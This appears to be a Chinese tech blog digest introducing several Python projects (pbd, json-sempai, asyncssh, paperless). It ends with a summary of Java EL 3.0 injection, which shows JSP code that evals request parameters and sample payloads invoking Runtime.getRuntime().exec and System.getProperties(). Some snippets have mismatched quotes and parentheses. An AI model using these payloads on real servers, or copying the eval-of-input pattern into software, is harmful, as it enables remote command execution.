Protocol Buffer Descriptor Python Disassembler

项目地址:https://github.com/rsc-dev/pbd

首先什么是Protocol Buffer Descriptor?

https://developers.google.com/protocol-buffers/

The example we’re going to use is a very simple “address book” application that can read and write people’s contact details to and from a file. Each person in the address book has a name, an ID, an email address, and a contact phone number.

How do you serialize and retrieve structured data like this? There are a few ways to solve this problem:

  • Use Python pickling. This is the default approach since it’s built into the language, but it doesn’t deal well with schema evolution, and also doesn’t work very well if you need to share data with applications written in C++ or Java.
  • You can invent an ad-hoc way to encode the data items into a single string – such as encoding 4 ints as “12:3:-23:67”. This is a simple and flexible approach, although it does require writing one-off encoding and parsing code, and the parsing imposes a small run-time cost. This works best for encoding very simple data.
  • Serialize the data to XML. This approach can be very attractive since XML is (sort of) human readable and there are binding libraries for lots of languages. This can be a good choice if you want to share data with other applications/projects. However, XML is notoriously space intensive, and encoding/decoding it can impose a huge performance penalty on applications. Also, navigating an XML DOM tree is considerably more complicated than navigating simple fields in a class normally would be.

Protocol buffers are the flexible, efficient, automated solution to solve exactly this problem. With protocol buffers, you write a .proto description of the data structure you wish to store. From that, the protocol buffer compiler creates a class that implements automatic encoding and parsing of the protocol buffer data with an efficient binary format. The generated class provides getters and setters for the fields that make up a protocol buffer and takes care of the details of reading and writing the protocol buffer as a unit. Importantly, the protocol buffer format supports the idea of extending the format over time in such a way that the code can still read data encoded with the old format.

使用示例

>python -m pbd -f examples\test.ser

_|_|_| _| _|
_| _| _|_|_| _|_|_|
_|_|_| _| _| _| _|
_| _| _| _| _|
_| _|_|_| _|_|_|

ver 0.9

[+] Paring file test.ser
[+] Proto file saved as .\test.proto
>type test.proto
// Reversed by pbd (https://github.com/rsc-dev/pbd)
// Package not defined

message Person {
required string name = 1 ;
required int32 id = 2 ;
optional string email = 3 ;
}

import json as python module

项目地址:https://github.com/kragniz/json-sempai

直接像python的module一样导入json文件?

tester.json

{
"hello": "world",
"this": {
"can": {
"be": "nested"
}
}
}
>>> from jsonsempai import magic
>>> import tester
>>> tester
<module 'tester' from 'tester.json'>
>>> tester.hello
u'world'
>>> tester.this.can.be
u'nested'
>>>

非常疯狂和好玩的主意,呵呵。正如作者所说:

Disclaimer: Only do this if you hate yourself and the rest of the world.

async SSH

项目地址:https://github.com/ronf/asyncssh

AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework. It requires Python 3.4 or later and the Python cryptography library for some cryptographic functions.

  • 基于Python3.4+
  • 实现了SSHv2协议
  • 基于asyncio框架
import asyncio, asyncssh, sys

@asyncio.coroutine
def run_client():
with (yield from asyncssh.connect('localhost')) as conn:
stdin, stdout, stderr = yield from conn.open_session('echo "Hello!"')
output = yield from stdout.read()
print(output, end='')

status = stdout.channel.get_exit_status()
if status:
print('Program exited with status %d' % status, file=sys.stderr)
else:
print('Program exited successfully')

asyncio.get_event_loop().run_until_complete(run_client())

使用Python把文档扫描、索引与存档

项目地址:https://github.com/danielquinn/paperless

所用到的模块:

  • ImageMagick converts the images between colour and greyscale.
  • Tesseract does the character recognition
  • GNU Privacy Guard
  • Python 3 is the language of the project
    • Pillow loads the image data as a python object to be used with PyOCR.
    • PyOCR is a slick programmatic wrapper around tesseract
    • Django is the framework this project is written against.
    • Python-GNUPG decrypts the PDFs on-the-fly to allow you to download unencrypted files, leaving the encrypted ones on-disk.

The keen eye might have noticed that we’re converting a PDF to an image to be read by Tesseract, and to do this we’re using a chain of: scanned PDF > Imagemagick > Pillow > PyOCR > Tesseract > text. It’s not ideal, but apparently, Pillow lacks the ability to read PDFs, and PyOCR requires a Pillow object, so we’re sort of stuck.

Eval is evil: A EL3 Labmda Injection Attack in Java

原文:http://sectooladdict.blogspot.com/2014/12/el-30-injection-java-is-getting-hacker.html

JSR341 EL in Java在最新的EL3.0中包含了多个增强:运算符,对类访问的安全限制等。

最常见的EL3的使用场景:

<%
ELProcessor elp = new ELProcessor();
Object msg = elp.eval("Welcome" + user.name);
out.println(msg.toString());
%>

EL Processor将会动态的eval进来的EL statement,比如这里是user.name,user可能是Bean或者注入的Java Class。这里就涉及到对类或者Bean的访问问题,EL3.0引入了ELManager来管理这些访问的安全问题,包含方法:importClass, importPackage, importStatic。这些方法可以用import各种各样的类甚至package进入EL的上下文里,然后可以被EL里的statement引用。因此为了使用Java class在EL中,可能需要如下语句:

elp.getELManager().importClass("java.io.File");

ELManager在这里的实现主要是为了保证EL中eval的上下文环境只能访问通过ELManager引入的内容,而不能访问外部的类。但是因为在JSP和Servlet中用到了大量的通用和常见的类,所以EL里eval还是有可能被滥用:

(1) 如果开发者已经import了攻击者所需要的类,则攻击者可以使用如下方式:

Input1 = "File.listRoots()[0].getAbsolutePath()";
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager">
...
<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
elp.getELManager().importClass("java.io.File");
Object path = elp.eval(input1);
out.println(path);
%>

(2) 如果开发者开放了攻击者可以import class或者package,也就是对传入的内容没有任何限制:

Input1 = "File.listRoots()[0].listFiles()[1].getAbsolutePath()"
Input2 = "java.io.File";
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>

<%
String input1 = request.getParameter("input1");
String input2 = request.getParameter("input2");
ELProcessor elp = new ELProcessor();
elp.getELManager().importClass(Input2);
Object path = elp.eval(input1);
out.println(path);
%>

尽管有ELManager对importClass importPackage这样的限制,但是一个很容易被攻击的地方是,EL默认载入了java.lang包,为了便于开发者可以访问一些静态类型,比如:Boolean.True Integer.numberOfTrailingZero

EL默认所有的statement可以访问java.lang的静态对象,比如:java.lang.Systemjava.lang.Runtime,攻击者很容易滥用这些机制:

Input1 = "System.getProperties()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>

<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(input1);
out.println(sys);
%>

或者使用java.lang.Runtime进行远程执行:

Input1 = "Runtime.getRuntime().exec('mkdir abcde').waitFor()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>

<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(input1);
out.println(sys);
%>

虽然上面的举例,攻击者可以通过外部输入的字串(input)完全控制EL,但是大部分情况下开发者会对传入的字串进行拼接(concat)而使传入的攻击字串失效,但是道高一尺魔高一丈,由于EL引入的NEW操作符,导致拼接的字串可以像SQL Injection一样被;截断:

Input1 = "; Runtime.getRuntime().exec('mkdir aaaaa12').waitFor()"
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>

<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(("'Welcome' + input1);
out.println(sys);
%>

远程执行漏洞:

Input1 = "1); Runtime.getRuntime().exec('mkdir jjjbc12').waitFor("
<%@page import="javax.el.ELProcessor"%>
<%@page import="javax.el.ELManager"%>

<%
String input1 = request.getParameter("input1");
ELProcessor elp = new ELProcessor();
Object sys = elp.eval(("SomeClass.StaticMethod( + input1 + ")");
out.println(sys);
%>

-END-